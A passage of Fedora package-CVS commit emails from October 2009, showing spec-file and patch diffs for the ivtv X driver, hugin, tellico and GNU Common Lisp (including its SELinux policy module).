 # define TRACE_ENTER(str)	ErrorF("ivtv_hw: " str " %d\n",pScrn->scrnIndex)
diff -up xf86-video-ivtv-1.1.0/src/ivtv_hw.h.Xextproto71 xf86-video-ivtv-1.1.0/src/ivtv_hw.h
diff -up xf86-video-ivtv-1.1.0/src/Makefile.am.Xextproto71 xf86-video-ivtv-1.1.0/src/Makefile.am
--- xf86-video-ivtv-1.1.0/src/Makefile.am.Xextproto71	2009-10-20 22:28:39.726904017 +0200
+++ xf86-video-ivtv-1.1.0/src/Makefile.am	2009-10-20 22:31:06.987875245 +0200
@@ -23,7 +23,7 @@
 # -avoid-version prevents gratuitous .0.0.0 version numbers on the end
 # _ladir passes a dummy rpath to libtool so the thing will actually link
 # TODO: -nostdlib/-Bstatic/-lgcc platform magic, not installing the .a, etc.
-AM_CFLAGS = @XORG_CFLAGS@
+AM_CFLAGS = @XORG_CFLAGS@ @XEXT_CFLAGS@
 ivtv_drv_la_LTLIBRARIES = ivtv_drv.la
 ivtv_drv_la_LDFLAGS = -module -avoid-version
 ivtv_drv_ladir = @moduledir@/drivers


Index: xorg-x11-drv-ivtv.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-drv-ivtv/F-12/xorg-x11-drv-ivtv.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- xorg-x11-drv-ivtv.spec	27 Jul 2009 08:27:10 -0000	1.10
+++ xorg-x11-drv-ivtv.spec	20 Oct 2009 21:36:49 -0000	1.11
@@ -1,16 +1,18 @@
 Name:           xorg-x11-drv-ivtv
 Version:        1.1.0
-Release:        2%{?dist}
+Release:        3%{?dist}
 Summary:        Xorg X11 ivtv video driver
 
 Group:          User Interface/X Hardware Support
 License:        MIT
 URL:            http://ivtvdriver.org
 Source0:        http://dl.ivtvdriver.org/xf86-video-ivtv/archive/1.1.x/xf86-video-ivtv-%{version}.tar.gz
+Patch0:         xf86-video-ivtv-1.1.0-Xextproto71.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires: xorg-x11-server-sdk >= 1.3.0.0-6
-#BuildRequires: libtool
+BuildRequires: xorg-x11-proto-devel
+BuildRequires: libtool
 Requires:  xorg-x11-server-Xorg >= 1.3.0.0-6
 Requires:  ivtv-firmware
 Obsoletes: ivtv_xdriver < %{version}
@@ -20,7 +22,8 @@ X.Org X11 ivtv video driver.
 
 %prep
 %setup -q -n xf86-video-ivtv-%{version}
-#sh autogen.sh
+%patch0 -p1 -b .Xextproto71
+autoreconf -vif
 
 %build
 %configure
@@ -44,6 +47,10 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Tue Oct 20 2009 kwizart < kwizart at gmail.com > - 1.1.0-3
+- Rebuild for F-12
+- Add xf86-video-ivtv-1.1.0-Xextproto71.patch to fix new Xorg
+
 * Mon Jul 27 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.1.0-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From bpostle at fedoraproject.org  Tue Oct 20 21:37:19 2009
From: bpostle at fedoraproject.org (bpostle)
Date: Tue, 20 Oct 2009 21:37:19 +0000 (UTC)
Subject: rpms/hugin/F-12 .cvsignore, 1.4, 1.5 hugin.spec, 1.23, 1.24 sources,
	1.8, 1.9
Message-ID: <20091020213719.9889611C0081@cvs1.fedora.phx.redhat.com>

Author: bpostle

Update of /cvs/pkgs/rpms/hugin/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26203

Modified Files:
	.cvsignore hugin.spec sources 
Log Message:
Current stable release 2009.2.0



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/hugin/F-12/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	20 Jul 2009 20:54:16 -0000	1.4
+++ .cvsignore	20 Oct 2009 21:37:19 -0000	1.5
@@ -1 +1 @@
-hugin-0.8.0.tar.gz
+hugin-2009.2.0.tar.gz


Index: hugin.spec
===================================================================
RCS file: /cvs/pkgs/rpms/hugin/F-12/hugin.spec,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- hugin.spec	25 Jul 2009 02:18:31 -0000	1.23
+++ hugin.spec	20 Oct 2009 21:37:19 -0000	1.24
@@ -1,7 +1,7 @@
 Summary: A panoramic photo stitcher and more
 Name: hugin
-Version: 0.8.0
-Release: 2%{?dist}
+Version: 2009.2.0
+Release: 1%{?dist}
 License: GPLv2+
 Group: Applications/Multimedia
 Source: http://downloads.sourceforge.net/hugin/%{name}-%{version}.tar.gz
@@ -12,6 +12,14 @@ Requires: %{name}-base = %{version}-%{re
 BuildRequires: libpano13-devel >= 2.9.14 zlib-devel libtiff-devel libjpeg-devel
 BuildRequires: libpng-devel gettext-devel wxGTK-devel >= 2.7.0 boost-devel
 BuildRequires: cmake desktop-file-utils OpenEXR-devel exiv2-devel glew-devel
+BuildRequires: freeglut-devel
+
+%if 0%{?fedora} >= 9
+BuildRequires: mesa-libGLU-devel libXmu-devel
+%endif
+%if 0%{?rhl} >= 4
+BuildRequires: xorg-x11-devel
+%endif
 
 %description
 hugin can be used to stitch multiple images together. The resulting image can
@@ -31,9 +39,6 @@ without a GUI environment.
 
 %prep
 %setup -q
-# replace autopano-sift default with info message
-sed -i 's/"autopano-sift-c"/"autopano-noop.sh"/' \
-       src/hugin1/hugin/config_defaults.h
 
 %build
 %cmake .
@@ -42,7 +47,6 @@ make VERBOSE=1 %{?_smp_mflags}
 %install
 rm -rf %{buildroot}
 make install DESTDIR=%{buildroot}
-install -m 0755 utils/autopano-noop.sh %{buildroot}/%{_bindir}/
 
 # unused symlinks
 rm %{buildroot}/%{_libdir}/libhuginbase.so
@@ -81,7 +85,6 @@ touch --no-create %{_datadir}/icons/gnom
 %defattr(-, root, root,-)
 %{_bindir}/PTBatcher
 %{_bindir}/PTBatcherGUI
-%{_bindir}/celeste_standalone
 %{_bindir}/hugin
 %{_bindir}/hugin_stitch_project
 %{_bindir}/nona_gui
@@ -92,18 +95,18 @@ touch --no-create %{_datadir}/icons/gnom
 %{_datadir}/pixmaps/%{name}.png
 %{_datadir}/icons/gnome/48x48/mimetypes/*
 %{_datadir}/mime/packages/%{name}.xml
-%{_mandir}/man1/PTBatcherGUI.1.gz
-%{_mandir}/man1/celeste_standalone.1.gz
-%{_mandir}/man1/hugin.1.gz
-%{_mandir}/man1/hugin_stitch_project.1.gz
-%{_mandir}/man1/nona_gui.1.gz
+%{_mandir}/man1/PTBatcherGUI.*
+%{_mandir}/man1/hugin.*
+%{_mandir}/man1/hugin_stitch_project.*
+%{_mandir}/man1/nona_gui.*
 
-%doc AUTHORS COPYING INSTALL_cmake LICENCE README README_JP TODO LICENCE_JHEAD LICENCE_VIGRA doc/nona.txt doc/fulla.html src/hugin1/hugin/xrc/data/help_en_EN/LICENCE.manual
+%doc AUTHORS COPYING INSTALL_cmake README README_JP TODO LICENCE_VIGRA doc/nona.txt doc/fulla.html src/hugin1/hugin/xrc/data/help_en_EN/LICENCE.manual
 
 %files base
 %defattr(-, root, root,-)
 %{_bindir}/align_image_stack
 %{_bindir}/autooptimiser
+%{_bindir}/celeste_standalone
 %{_bindir}/fulla
 %{_bindir}/hugin_hdrmerge
 %{_bindir}/matchpoint
@@ -111,20 +114,25 @@ touch --no-create %{_datadir}/icons/gnom
 %{_bindir}/pto2mk
 %{_bindir}/tca_correct
 %{_bindir}/vig_optimize
+
 %{_libdir}/libhugin*
 %{_libdir}/libceleste*
-%{_datadir}/%{name}
 %{_datadir}/%{name}/Makefile.*.mk
-%{_mandir}/man1/align_image_stack.1.gz
-%{_mandir}/man1/autooptimiser.1.gz
-%{_mandir}/man1/fulla.1.gz
-%{_mandir}/man1/hugin_hdrmerge.1.gz
-%{_mandir}/man1/nona.1.gz
-%{_mandir}/man1/pto2mk.1.gz
-%{_mandir}/man1/tca_correct.1.gz
-%{_mandir}/man1/vig_optimize.1.gz
+%{_datadir}/%{name}/data/celeste.model
+%{_mandir}/man1/align_image_stack.*
+%{_mandir}/man1/autooptimiser.*
+%{_mandir}/man1/celeste_standalone.*
+%{_mandir}/man1/fulla.*
+%{_mandir}/man1/hugin_hdrmerge.*
+%{_mandir}/man1/nona.*
+%{_mandir}/man1/pto2mk.*
+%{_mandir}/man1/tca_correct.*
+%{_mandir}/man1/vig_optimize.*
 
 %changelog
+* Tue Oct 20 2009 Bruno Postle <bruno at postle.net> 2009.2.0-1
+- 2009.2.0 release
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.8.0-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/hugin/F-12/sources,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- sources	20 Jul 2009 20:54:17 -0000	1.8
+++ sources	20 Oct 2009 21:37:19 -0000	1.9
@@ -1 +1 @@
-0c88afbd7f8159aac29404ff40370400  hugin-0.8.0.tar.gz
+856fa8016bc990874a71a19cc162f6be  hugin-2009.2.0.tar.gz



From alexlan at fedoraproject.org  Tue Oct 20 21:58:04 2009
From: alexlan at fedoraproject.org (alexlan)
Date: Tue, 20 Oct 2009 21:58:04 +0000 (UTC)
Subject: rpms/tellico/F-11 .cvsignore, 1.17, 1.18 sources, 1.17,
	1.18 tellico.spec, 1.35, 1.36 tellico-1.3.5-gcc44.patch, 1.1, NONE
Message-ID: <20091020215805.2FDB111C0081@cvs1.fedora.phx.redhat.com>

Author: alexlan

Update of /cvs/pkgs/rpms/tellico/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv748

Modified Files:
	.cvsignore sources tellico.spec 
Removed Files:
	tellico-1.3.5-gcc44.patch 
Log Message:
Update to 2.0: sync with F-12 branch.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/tellico/F-11/.cvsignore,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- .cvsignore	5 Mar 2009 11:08:38 -0000	1.17
+++ .cvsignore	20 Oct 2009 21:57:59 -0000	1.18
@@ -1 +1 @@
-tellico-1.3.5.tar.gz
+tellico-2.0.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/tellico/F-11/sources,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- sources	5 Mar 2009 11:08:38 -0000	1.17
+++ sources	20 Oct 2009 21:57:59 -0000	1.18
@@ -1 +1 @@
-ca5d9db11fa1dd33dfe317ffe095435c  tellico-1.3.5.tar.gz
+e7dce8a5f3086b9fbf8cd33d83a28f88  tellico-2.0.tar.bz2


Index: tellico.spec
===================================================================
RCS file: /cvs/pkgs/rpms/tellico/F-11/tellico.spec,v
retrieving revision 1.35
retrieving revision 1.36
diff -u -p -r1.35 -r1.36
--- tellico.spec	5 Mar 2009 11:08:38 -0000	1.35
+++ tellico.spec	20 Oct 2009 21:58:00 -0000	1.36
@@ -1,15 +1,15 @@
 Name:           tellico
-Version:        1.3.5
+Version:        2.0
 Release:        1%{?dist}
 Summary:        A collection manager
 
 Group:          Applications/Multimedia
 License:        GPLv2
-URL:            http://www.periapsis.org/tellico/
-Source0:        http://www.periapsis.org/tellico/download/%{name}-%{version}.tar.gz
-Patch0:         %{name}-1.3.5-gcc44.patch
+URL:            http://tellico-project.org/
+Source0:        http://tellico-project.org/files/tellico-%{version}.tar.bz2
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
+BuildRequires:  cmake >= 2.6.2-3
 BuildRequires:  zlib-devel
 BuildRequires:  libpng-devel
 BuildRequires:  libjpeg-devel
@@ -22,15 +22,12 @@ BuildRequires:  taglib-devel
 BuildRequires:  libyaz-devel
 BuildRequires:  exempi-devel
 BuildRequires:  poppler-qt-devel
-BuildRequires:  kdelibs3-devel
-
-%if 0%{?fedora} < 10
-BuildRequires:  kdepim3-devel
-%endif
-
-%if 0%{?fedora} < 9
-BuildRequires:  kdemultimedia3-devel
-%endif
+BuildRequires:  kdelibs4-devel
+BuildRequires:  qimageblitz-devel
+BuildRequires:  poppler-qt4-devel
+BuildRequires:  kdepimlibs-devel
+BuildRequires:  kdemultimedia-devel
+BuildRequires:  kdegraphics-devel
 
 %if 0%{?fedora} < 7
 BuildRequires: tcp_wrappers
@@ -53,46 +50,44 @@ directly from Amazon.com.
 
 %prep
 %setup -q
-%patch0 -p1
 
 %build
-%configure --disable-rpath --enable-webcam
-make %{?_smp_mflags}
 
+mkdir -p %{_target_platform}
+pushd %{_target_platform}
+%{cmake_kde4} ..
+popd
+
+#configure --disable-rpath --enable-webcam
+make %{?_smp_mflags}  -C %{_target_platform}
 
 %install
 rm -rf $RPM_BUILD_ROOT
-make install DESTDIR=$RPM_BUILD_ROOT
-%find_lang %{name}
-# HTML
-for lang_dir in $RPM_BUILD_ROOT%{_docdir}/HTML/* ; do
-  lang=$(basename $lang_dir)
-  [ "$lang" == "en" ] && d=en/%{name} || d=$lang
-  echo "%lang($lang) %doc %{_docdir}/HTML/$d" >> %{name}.lang
-done
+make install/fast DESTDIR=$RPM_BUILD_ROOT  -C %{_target_platform}
+%find_lang %{name} --with-kde
 
 rm -f $RPM_BUILD_ROOT%{_datadir}/applications/mimeinfo.cache
 
 desktop-file-install --vendor="" \
-  --dir $RPM_BUILD_ROOT%{_datadir}/applications/kde \
-  --add-category X-Fedora                           \
-  $RPM_BUILD_ROOT%{_datadir}/applications/kde/*
-
+  --dir $RPM_BUILD_ROOT%{_datadir}/applications/kde4 \
+  $RPM_BUILD_ROOT%{_datadir}/applications/kde4/*
 
 %post
 touch --no-create %{_datadir}/icons/hicolor || :
-if [ -x %{_bindir}/gtk-update-icon-cache ]; then
-   %{_bindir}/gtk-update-icon-cache --quiet %{_datadir}/icons/hicolor || :
-fi
-
 
 %postun
-/sbin/ldconfig
-touch --no-create %{_datadir}/icons/hicolor || :
-if [ -x %{_bindir}/gtk-update-icon-cache ]; then
-   %{_bindir}/gtk-update-icon-cache --quiet %{_datadir}/icons/hicolor || :
+if [ $1 -eq 0 ] ; then
+  update-desktop-database -q &> /dev/null
+  update-mime-database %{_kde4_datadir}/mime &> /dev/null
+  touch --no-create %{_kde4_iconsdir}/hicolor &> /dev/null
+  gtk-update-icon-cache -q %{_kde4_iconsdir}/hicolor &> /dev/null || :
 fi
 
+%posttrans
+update-desktop-database -q &> /dev/null
+update-mime-database %{_kde4_datadir}/mime &> /dev/null
+gtk-update-icon-cache -q %{_kde4_iconsdir}/hicolor &> /dev/null || :
+
 
 %clean
 rm -rf $RPM_BUILD_ROOT
@@ -100,19 +95,36 @@ rm -rf $RPM_BUILD_ROOT
 
 %files -f %{name}.lang
 %defattr(-,root,root,-)
-%doc AUTHORS ChangeLog COPYING TODO
-%{_bindir}/*
-%{_datadir}/applications/kde/tellico.desktop
-%{_datadir}/apps/kconf_update/
-%{_datadir}/config.kcfg/tellico_config.kcfg
-%{_datadir}/config/tellicorc
-%{_datadir}/apps/tellico/
-%{_datadir}/icons/hicolor/*/*/*
-%{_datadir}/mimelnk/application/x-tellico.desktop
-%{_datadir}/mime/packages/tellico.xml
+%doc AUTHORS ChangeLog COPYING
+%{_kde4_bindir}/tellico
+%{_kde4_datadir}/applications/kde4/tellico.desktop
+%{_kde4_appsdir}/kconf_update/*
+%{_kde4_appsdir}/tellico/
+%{_kde4_datadir}/config.kcfg/tellico_config.kcfg
+%{_kde4_configdir}/tellicorc
+%{_kde4_configdir}/tellico-script.knsrc
+%{_kde4_configdir}/tellico-template.knsrc
+%{_kde4_iconsdir}/hicolor/*/*/*
+%{_kde4_datadir}/mimelnk/application/x-tellico.desktop
+%{_kde4_datadir}/mime/packages/tellico.xml
 
 
 %changelog
+* Mon Sep 21 2009 Jos? Matos <jamatos at fc.up.pt> - 2.0-1
+- stable release
+
+* Sat Sep 19 2009 Rex Dieter <rdieter at fedoraproject.org> - 2.0-0.2.pre2
+- use %%_kde4_* macros
+- optimize scriptlets
+- update URL, Source0
+
+* Fri Sep 11 2009 Alex Lancaster <alexlan[AT]fedoraproject org> - 2.0-0.1.pre2
+- Update to upstream version 2.0 pre-release 2
+- Drop gcc4 patch, now upstream
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.3.5-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Thu Mar  5 2009 Alex Lancaster <alexlan[AT]fedoraproject org> - 1.3.5-1
 - Update to latest upstream (1.3.5)
 - Add a patch from upstream SVN r3410 which fixes build with GCC 4.4


--- tellico-1.3.5-gcc44.patch DELETED ---



From jjames at fedoraproject.org  Tue Oct 20 22:11:47 2009
From: jjames at fedoraproject.org (Jerry James)
Date: Tue, 20 Oct 2009 22:11:47 +0000 (UTC)
Subject: rpms/gcl/F-12 gcl-2.6.8-plt.patch, 1.1, 1.2 gcl-2.6.8-selinux.patch,
	1.2, 1.3 gcl.spec, 1.40, 1.41
Message-ID: <20091020221147.68F6811C00EB@cvs1.fedora.phx.redhat.com>

Author: jjames

Update of /cvs/pkgs/rpms/gcl/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6958/F-12

Modified Files:
	gcl-2.6.8-plt.patch gcl-2.6.8-selinux.patch gcl.spec 
Log Message:
* Tue Oct 20 2009 Jerry James <loganjerry at gmail.com> - 2.6.8-0.6.20090701cvs
- Update SELinux policy for confined users (bz 529757)


gcl-2.6.8-plt.patch:
 makefile |    2 +-
 plt.c    |    2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

Index: gcl-2.6.8-plt.patch
===================================================================
RCS file: /cvs/pkgs/rpms/gcl/F-12/gcl-2.6.8-plt.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- gcl-2.6.8-plt.patch	11 Aug 2009 21:28:46 -0000	1.1
+++ gcl-2.6.8-plt.patch	20 Oct 2009 22:11:46 -0000	1.2
@@ -18,7 +18,7 @@ diff -dur gcl-2.6.8.ORIG/o/plt.c gcl-2.6
      if (!memchr(b,10,sizeof(b)-1))
        FEerror("plt buffer too small", 0);
 -    if (memcmp(b," .plt",4) && !i)
-+    if ((memcmp(b," .plt",4) || memcmp(b," .iplt",5)) && !i)
++    if ((memcmp(b," .plt",5) || memcmp(b," .iplt",6)) && !i)
        continue;
      if (*b=='\r' || *b=='\n') {
        i=0;

gcl-2.6.8-selinux.patch:
 clcs/makefile     |    6 ++
 makefile          |    3 +
 selinux/gcl.fc    |    5 +
 selinux/gcl.if    |  146 ++++++++++++++++++++++++++++++++++++++++++++++++++++++
 selinux/gcl.te    |   45 ++++++++++++++++
 unixport/makefile |    6 ++
 6 files changed, 211 insertions(+)

Index: gcl-2.6.8-selinux.patch
===================================================================
RCS file: /cvs/pkgs/rpms/gcl/F-12/gcl-2.6.8-selinux.patch,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- gcl-2.6.8-selinux.patch	6 Oct 2009 14:33:28 -0000	1.2
+++ gcl-2.6.8-selinux.patch	20 Oct 2009 22:11:47 -0000	1.3
@@ -1,6 +1,6 @@
 diff -durN gcl-2.6.8.ORIG/clcs/makefile gcl-2.6.8/clcs/makefile
 --- gcl-2.6.8.ORIG/clcs/makefile	2005-05-06 15:56:55.000000000 -0600
-+++ gcl-2.6.8/clcs/makefile	2009-10-06 08:16:02.062488470 -0600
++++ gcl-2.6.8/clcs/makefile	2009-10-20 16:00:21.608387999 -0600
 @@ -9,6 +9,9 @@
  
  saved_clcs_gcl: ../unixport/saved_pcl_gcl
@@ -23,7 +23,7 @@ diff -durN gcl-2.6.8.ORIG/clcs/makefile 
  	rm -f *.o *.fn saved_full_gcl$(EXE) saved_full_gcl cmpinclude.h *.c *.h *.data saved_clcs_gcl
 diff -durN gcl-2.6.8.ORIG/makefile gcl-2.6.8/makefile
 --- gcl-2.6.8.ORIG/makefile	2007-11-30 09:59:33.000000000 -0700
-+++ gcl-2.6.8/makefile	2009-10-06 08:16:02.063488196 -0600
++++ gcl-2.6.8/makefile	2009-10-20 16:00:21.609347326 -0600
 @@ -187,6 +187,9 @@
  	if gcc --version | grep -i mingw >/dev/null 2>&1 ; then if grep -i oncrpc makedefs >/dev/null 2>&1 ; then cp /mingw/bin/oncrpc.dll $(DESTDIR)$(INSTALL_LIB_DIR)/$(PORTDIR); fi ; fi
  	cd $(DESTDIR)$(INSTALL_LIB_DIR)/$(PORTDIR) && \
@@ -36,16 +36,16 @@ diff -durN gcl-2.6.8.ORIG/makefile gcl-2
  	if [ -e "unixport/rsym$(EXE)" ] ; then cp unixport/rsym$(EXE) $(DESTDIR)$(INSTALL_LIB_DIR)/unixport/ ; fi
 diff -durN gcl-2.6.8.ORIG/selinux/gcl.fc gcl-2.6.8/selinux/gcl.fc
 --- gcl-2.6.8.ORIG/selinux/gcl.fc	1969-12-31 17:00:00.000000000 -0700
-+++ gcl-2.6.8/selinux/gcl.fc	2009-10-06 08:17:02.445600007 -0600
++++ gcl-2.6.8/selinux/gcl.fc	2009-10-20 16:00:52.173119081 -0600
 @@ -0,0 +1,5 @@
 +/usr/lib64/gcl-[^/]+/unixport/saved_.*	--	gen_context(system_u:object_r:gcl_exec_t,s0)
 +/usr/lib/gcl-[^/]+/unixport/saved_.*	--	gen_context(system_u:object_r:gcl_exec_t,s0)
-+/usr/lib/maxima/[^/]+/binary-gcl	--	gen_context(system_u:object:r:gcl_exec_t,s0)
-+/usr/lib64/maxima/[^/]+/binary-gcl	--	gen_context(system_u:object:r:gcl_exec_t,s0)
++/usr/lib/maxima/[^/]+/binary-gcl	--	gen_context(system_u:object_r:gcl_exec_t,s0)
++/usr/lib64/maxima/[^/]+/binary-gcl	--	gen_context(system_u:object_r:gcl_exec_t,s0)
 +
 diff -durN gcl-2.6.8.ORIG/selinux/gcl.if gcl-2.6.8/selinux/gcl.if
 --- gcl-2.6.8.ORIG/selinux/gcl.if	1969-12-31 17:00:00.000000000 -0700
-+++ gcl-2.6.8/selinux/gcl.if	2009-10-06 08:16:02.064488944 -0600
++++ gcl-2.6.8/selinux/gcl.if	2009-10-20 16:00:21.622010253 -0600
 @@ -0,0 +1,146 @@
 +
 +## <summary>policy for gcl</summary>
@@ -195,9 +195,9 @@ diff -durN gcl-2.6.8.ORIG/selinux/gcl.if
 +')
 diff -durN gcl-2.6.8.ORIG/selinux/gcl.te gcl-2.6.8/selinux/gcl.te
 --- gcl-2.6.8.ORIG/selinux/gcl.te	1969-12-31 17:00:00.000000000 -0700
-+++ gcl-2.6.8/selinux/gcl.te	2009-10-06 08:17:51.669426472 -0600
-@@ -0,0 +1,44 @@
-+policy_module(gcl,1.0.0)
++++ gcl-2.6.8/selinux/gcl.te	2009-10-20 15:52:31.702057692 -0600
+@@ -0,0 +1,45 @@
++policy_module(gcl,1.0.1)
 +
 +########################################
 +#
@@ -225,10 +225,11 @@ diff -durN gcl-2.6.8.ORIG/selinux/gcl.te
 +
 +## The GCL memory management and executable dumping routines manipulate memory
 +## in various (usually forbidden) ways.
-+allow gcl_t self:memprotect mmap_zero;
 +allow gcl_t self:process { execmem execheap };
 +
-+unconfined_domain(gcl_t)
++optional_policy(`
++	unconfined_domain(gcl_t)
++')
 +
 +optional_policy(`
 +	gen_require(`
@@ -243,7 +244,7 @@ diff -durN gcl-2.6.8.ORIG/selinux/gcl.te
 +')
 diff -durN gcl-2.6.8.ORIG/unixport/makefile gcl-2.6.8/unixport/makefile
 --- gcl-2.6.8.ORIG/unixport/makefile	2006-08-23 12:14:22.000000000 -0600
-+++ gcl-2.6.8/unixport/makefile	2009-10-06 08:16:02.065488296 -0600
++++ gcl-2.6.8/unixport/makefile	2009-10-20 16:00:21.622998021 -0600
 @@ -118,6 +118,9 @@
  	cp init_$*.lsp foo
  	echo " (in-package \"USER\")(system:save-system \"$@\")" >>foo


Index: gcl.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gcl/F-12/gcl.spec,v
retrieving revision 1.40
retrieving revision 1.41
diff -u -p -r1.40 -r1.41
--- gcl.spec	13 Oct 2009 15:37:49 -0000	1.40
+++ gcl.spec	20 Oct 2009 22:11:47 -0000	1.41
@@ -28,7 +28,7 @@
 
 Name:           gcl
 Version:        2.6.8
-Release:        0.5.%{alphatag}%{?dist}
+Release:        0.6.%{alphatag}%{?dist}
 Summary:        GNU Common Lisp
 
 Group:          Development/Languages
@@ -365,6 +365,9 @@ fi
 
 
 %changelog
+* Tue Oct 20 2009 Jerry James <loganjerry at gmail.com> - 2.6.8-0.6.20090701cvs
+- Update SELinux policy for confined users (bz 529757)
+
 * Tue Sep  6 2009 Jerry James <loganjerry at gmail.com> - 2.6.8-0.5.20090701cvs
 - Update SELinux files to give compiled maxima files the right context
 - Drop SELinux compatibility kludge for early F-11 selinux-policy packages



From jjames at fedoraproject.org  Tue Oct 20 22:11:47 2009
From: jjames at fedoraproject.org (Jerry James)
Date: Tue, 20 Oct 2009 22:11:47 +0000 (UTC)
Subject: rpms/gcl/devel gcl-2.6.8-plt.patch, 1.1, 1.2 gcl-2.6.8-selinux.patch,
	1.2, 1.3 gcl.spec, 1.40, 1.41
Message-ID: <20091020221147.B55CC11C0081@cvs1.fedora.phx.redhat.com>

Author: jjames

Update of /cvs/pkgs/rpms/gcl/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6958/devel

Modified Files:
	gcl-2.6.8-plt.patch gcl-2.6.8-selinux.patch gcl.spec 
Log Message:
* Tue Oct 20 2009 Jerry James <loganjerry at gmail.com> - 2.6.8-0.6.20090701cvs
- Update SELinux policy for confined users (bz 529757)


gcl-2.6.8-plt.patch:
 makefile |    2 +-
 plt.c    |    2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

Index: gcl-2.6.8-plt.patch
===================================================================
RCS file: /cvs/pkgs/rpms/gcl/devel/gcl-2.6.8-plt.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- gcl-2.6.8-plt.patch	11 Aug 2009 21:28:46 -0000	1.1
+++ gcl-2.6.8-plt.patch	20 Oct 2009 22:11:47 -0000	1.2
@@ -18,7 +18,7 @@ diff -dur gcl-2.6.8.ORIG/o/plt.c gcl-2.6
      if (!memchr(b,10,sizeof(b)-1))
        FEerror("plt buffer too small", 0);
 -    if (memcmp(b," .plt",4) && !i)
-+    if ((memcmp(b," .plt",4) || memcmp(b," .iplt",5)) && !i)
++    if ((memcmp(b," .plt",5) || memcmp(b," .iplt",6)) && !i)
        continue;
      if (*b=='\r' || *b=='\n') {
        i=0;

gcl-2.6.8-selinux.patch:
 clcs/makefile     |    6 ++
 makefile          |    3 +
 selinux/gcl.fc    |    5 +
 selinux/gcl.if    |  146 ++++++++++++++++++++++++++++++++++++++++++++++++++++++
 selinux/gcl.te    |   45 ++++++++++++++++
 unixport/makefile |    6 ++
 6 files changed, 211 insertions(+)

Index: gcl-2.6.8-selinux.patch
===================================================================
RCS file: /cvs/pkgs/rpms/gcl/devel/gcl-2.6.8-selinux.patch,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- gcl-2.6.8-selinux.patch	6 Oct 2009 14:33:28 -0000	1.2
+++ gcl-2.6.8-selinux.patch	20 Oct 2009 22:11:47 -0000	1.3
@@ -1,6 +1,6 @@
 diff -durN gcl-2.6.8.ORIG/clcs/makefile gcl-2.6.8/clcs/makefile
 --- gcl-2.6.8.ORIG/clcs/makefile	2005-05-06 15:56:55.000000000 -0600
-+++ gcl-2.6.8/clcs/makefile	2009-10-06 08:16:02.062488470 -0600
++++ gcl-2.6.8/clcs/makefile	2009-10-20 16:00:21.608387999 -0600
 @@ -9,6 +9,9 @@
  
  saved_clcs_gcl: ../unixport/saved_pcl_gcl
@@ -23,7 +23,7 @@ diff -durN gcl-2.6.8.ORIG/clcs/makefile 
  	rm -f *.o *.fn saved_full_gcl$(EXE) saved_full_gcl cmpinclude.h *.c *.h *.data saved_clcs_gcl
 diff -durN gcl-2.6.8.ORIG/makefile gcl-2.6.8/makefile
 --- gcl-2.6.8.ORIG/makefile	2007-11-30 09:59:33.000000000 -0700
-+++ gcl-2.6.8/makefile	2009-10-06 08:16:02.063488196 -0600
++++ gcl-2.6.8/makefile	2009-10-20 16:00:21.609347326 -0600
 @@ -187,6 +187,9 @@
  	if gcc --version | grep -i mingw >/dev/null 2>&1 ; then if grep -i oncrpc makedefs >/dev/null 2>&1 ; then cp /mingw/bin/oncrpc.dll $(DESTDIR)$(INSTALL_LIB_DIR)/$(PORTDIR); fi ; fi
  	cd $(DESTDIR)$(INSTALL_LIB_DIR)/$(PORTDIR) && \
@@ -36,16 +36,16 @@ diff -durN gcl-2.6.8.ORIG/makefile gcl-2
  	if [ -e "unixport/rsym$(EXE)" ] ; then cp unixport/rsym$(EXE) $(DESTDIR)$(INSTALL_LIB_DIR)/unixport/ ; fi
 diff -durN gcl-2.6.8.ORIG/selinux/gcl.fc gcl-2.6.8/selinux/gcl.fc
 --- gcl-2.6.8.ORIG/selinux/gcl.fc	1969-12-31 17:00:00.000000000 -0700
-+++ gcl-2.6.8/selinux/gcl.fc	2009-10-06 08:17:02.445600007 -0600
++++ gcl-2.6.8/selinux/gcl.fc	2009-10-20 16:00:52.173119081 -0600
 @@ -0,0 +1,5 @@
 +/usr/lib64/gcl-[^/]+/unixport/saved_.*	--	gen_context(system_u:object_r:gcl_exec_t,s0)
